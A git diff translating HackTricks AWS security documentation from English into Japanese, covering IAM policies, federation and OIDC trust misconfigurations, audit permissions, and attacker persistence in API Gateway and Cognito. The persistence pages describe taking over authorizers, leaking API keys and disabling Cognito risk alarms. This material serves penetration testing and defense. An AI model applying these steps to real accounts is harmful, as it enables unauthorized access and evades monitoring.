[グローバルフィールドは、任意のサービスで条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\ +[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。 -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +#### インラインポリシー -#### Inline Policies +この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\ +インラインポリシーは、ポリシーとそれが適用されるアイデンティティとの間に**厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。 -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +#### リソースバケットポリシー -#### Resource Bucket Policies +これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。 -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +もし主がそれらに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。 -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +### IAMバウンダリー -### IAM Boundaries +IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、彼がそれらを使用しようとすると操作は**失敗**します。 -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。 -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。 -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +### セッションポリシー -### Session Policies - -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります：これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**（最大の権限はロールが持つものです）。 +これは**セキュリティ対策**に役立ちます：管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。 ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +注意してください、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト（強化された認証を使用）で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。 -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +### アイデンティティフェデレーション -### Identity Federation +アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにし、正当なIAMユーザーアカウントのAWSユーザー資格情報を提供する必要がありません。\ +アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**（**SAML**経由）や**OpenID**サービス（**Google**など）があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。 -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +この信頼を構成するために、**IAMアイデンティティプロバイダー（SAMLまたはOAuth）が生成され**、**他のプラットフォームを信頼する**ことになります。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに（信頼される）割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。 -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. - -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。したがって、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
-### IAM Identity Center +### IAMアイデンティティセンター -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +AWS IAMアイデンティティセンター（AWSシングルサインオンの後継）は、AWSアイデンティティおよびアクセス管理（IAM）の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。 -The login domain is going to be something like `.awsapps.com`. +ログインドメインは`.awsapps.com`のようになります。 -To login users, there are 3 identity sources that can be used: +ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります： -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- アイデンティティセンターディレクトリ：通常のAWSユーザー +- アクティブディレクトリ：異なるコネクタをサポート +- 外部アイデンティティプロバイダー：すべてのユーザーとグループは外部アイデンティティプロバイダー（IdP）から来ます
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。 -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。 #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。 -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。 -### Cross Account Trusts and Roles +### クロスアカウントの信頼とロール -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**ユーザー**（信頼する側）は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**（信頼される側）に**自分のアカウントにアクセスすることを許可できますが、**新しいロールポリシーで示されたアクセスのみを持つことになります**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\ +信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。 ### AWS Simple AD -Not supported: +サポートされていない： -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- 信頼関係 +- AD管理センター +- 完全なPS APIサポート +- ADリサイクルビン +- グループ管理サービスアカウント +- スキーマ拡張 +- OSまたはインスタンスへの直接アクセスなし -#### Web Federation or OpenID Authentication +#### WebフェデレーションまたはOpenID認証 -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +アプリはAssumeRoleWithWebIdentityを使用して一時的な資格情報を作成します。ただし、これによりAWSコンソールへのアクセスは付与されず、AWS内のリソースへのアクセスのみが許可されます。 -### Other IAM options +### その他のIAMオプション -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。 +- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報（ユーザー作成時間、パスワードが有効かどうかなど）を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。 -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。 -### IAM ID Prefixes +### IAM IDプレフィックス -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +[**このページ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)では、キーの性質に応じた**IAM IDプレフィックス**を見つけることができます： -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STSサービスベアラートークン](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | コンテキスト固有の資格情報 | +| AGPA | ユーザーグループ | +| AIDA | IAMユーザー | +| AIPA | Amazon EC2インスタンスプロファイル | +| AKIA | アクセスキー | +| ANPA | 管理ポリシー | +| ANVA | 管理ポリシーのバージョン | +| APKA | 公開鍵 | +| AROA | ロール | +| ASCA | 証明書 | +| ASIA | [一時的（AWS STS）アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーとセッショントークンと組み合わせた場合にのみ一意です。 | -### Recommended permissions to audit accounts +### アカウントを監査するための推奨権限 -The following privileges grant various read access of metadata: +以下の特権は、メタデータのさまざまな読み取りアクセスを付与します： - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +322,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## その他 -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### CLI認証 +通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\ +そのファイルには複数のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\ +複数のプロファイルを持つ資格情報ファイルの例： ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +もし**異なるAWSアカウント**にアクセスする必要があり、あなたのプロファイルが**それらのアカウント内でロールを引き受ける**アクセスを与えられている場合、毎回手動でSTSを呼び出す必要はありません（`aws sts assume-role --role-arn --role-session-name sessname`）し、資格情報を設定する必要もありません。 -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +`~/.aws/config`ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り`--profile`パラメータを使用できます（`assume-role`はユーザーにとって透過的に実行されます）。\ +設定ファイルの例: ``` [profile acc2] region=eu-west-2 @@ -368,23 +351,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +この設定ファイルを使用すると、aws cliを次のように使用できます: ``` aws --profile acc2 ... ``` +もしあなたが**ブラウザ**用の**類似**のものを探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。 -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## 参考文献 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..77bcc5c20 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -4,84 +4,81 @@ ## SAML -For info about SAML please check: +SAMLに関する情報は以下を確認してください： {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成（**エンドポイント**、**公開鍵**を含む**証明書**）を含む**メタデータXML**を提供するだけです。 ## OIDC - Github Actions Abuse -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +アイデンティティプロバイダーとしてgithubアクションを追加するには： +1. _プロバイダータイプ_として**OpenID Connect**を選択します。 +2. _プロバイダーURL_に`https://token.actions.githubusercontent.com`を入力します。 +3. _サムプリントを取得_をクリックしてプロバイダーのサムプリントを取得します。 +4. _オーディエンス_に`sts.amazonaws.com`を入力します。 +5. githubアクションが必要とする**権限**を持つ**新しいロール**を作成し、次のようにプロバイダーを信頼する**信頼ポリシー**を設定します： +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. 前のポリシーでは、特定の**トリガー**で**組織**の**リポジトリ**の**ブランチ**のみが承認されていることに注意してください。 +7. githubアクションが**なりすます**ことができる**ロール**の**ARN**は、githubアクションが知っておく必要がある「秘密」になるため、**環境**内の**シークレット**に**保存**します。 +8. 最後に、ワークフローで使用するAWSクレデンシャルを構成するためにgithubアクションを使用します： ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - EKSの悪用 ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +**OIDCプロバイダー**を**EKS**クラスターで生成することは、クラスターの**OIDC URL**を**新しいOpen IDアイデンティティプロバイダー**として設定するだけで可能です。これは一般的なデフォルトポリシーです： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ということになります。 -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +**どのサービスアカウントがロールを引き受けることができるかを指定するためには、** **サービスアカウント名が指定される** **条件** を指定する必要があります。 ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## 参考文献 - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..f120594be 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,20 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +これらは、提案されたすべてのAWS監査ツールを実行するために監査したい各AWSアカウントで必要な権限です： -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- デフォルトポリシー **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- [aws_iam_review](https://github.com/carlospolop/aws_iam_review)を実行するには、次の権限も必要です： +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- （クライアントがあなたのためにアナライザーを生成する場合はオプションですが、通常はこの権限を求める方が簡単です） +- **access-analyzer:DeleteAnalyzer** +- （クライアントがあなたのためにアナライザーを削除する場合はオプションですが、通常はこの権限を求める方が簡単です） {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..1023c8601 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - 永続性 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..e4e7da054 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -4,33 +4,29 @@ ## API Gateway -For more information go to: +詳細については、次のリンクを参照してください： {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Resource Policy +### リソースポリシー -Modify the resource policy of the API gateway(s) to grant yourself access to them +APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。 -### Modify Lambda Authorizers +### Lambdaオーソライザーの変更 -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\ +または、オーソライザーの使用を単に削除します。 -### IAM Permissions +### IAM権限 -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\ +または、オーソライザーの使用を単に削除します。 -### API Keys +### APIキー -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\ +または、APIキーの使用を単に削除します。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..0773a26c5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,24 +4,24 @@ ## Cognito -For more information, access: +詳細情報については、以下にアクセスしてください： {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### User persistence +### ユーザーの永続性 -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognitoは、認証されていないユーザーと認証されたユーザーに役割を与え、ユーザーのディレクトリを制御するサービスです。いくつかの異なる設定を変更して永続性を維持することができます。例えば： -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **ユーザープール**をユーザーが制御する**アイデンティティプール**に追加する +- 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する** +- 攻撃者がログインできる場合は**認証されたアイデンティティプール**に +- または与えられたロールの**権限を向上させる** +- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する +- **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする -Check how to do these actions in +これらのアクションを実行する方法を確認してください： {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +この権限を持つ攻撃者は、リスク設定を変更して、Cognitoユーザーとして**アラームがトリガーされることなく**ログインできるようにすることができます。[**CLIを確認してください**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) すべてのオプションを確認するために： ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration 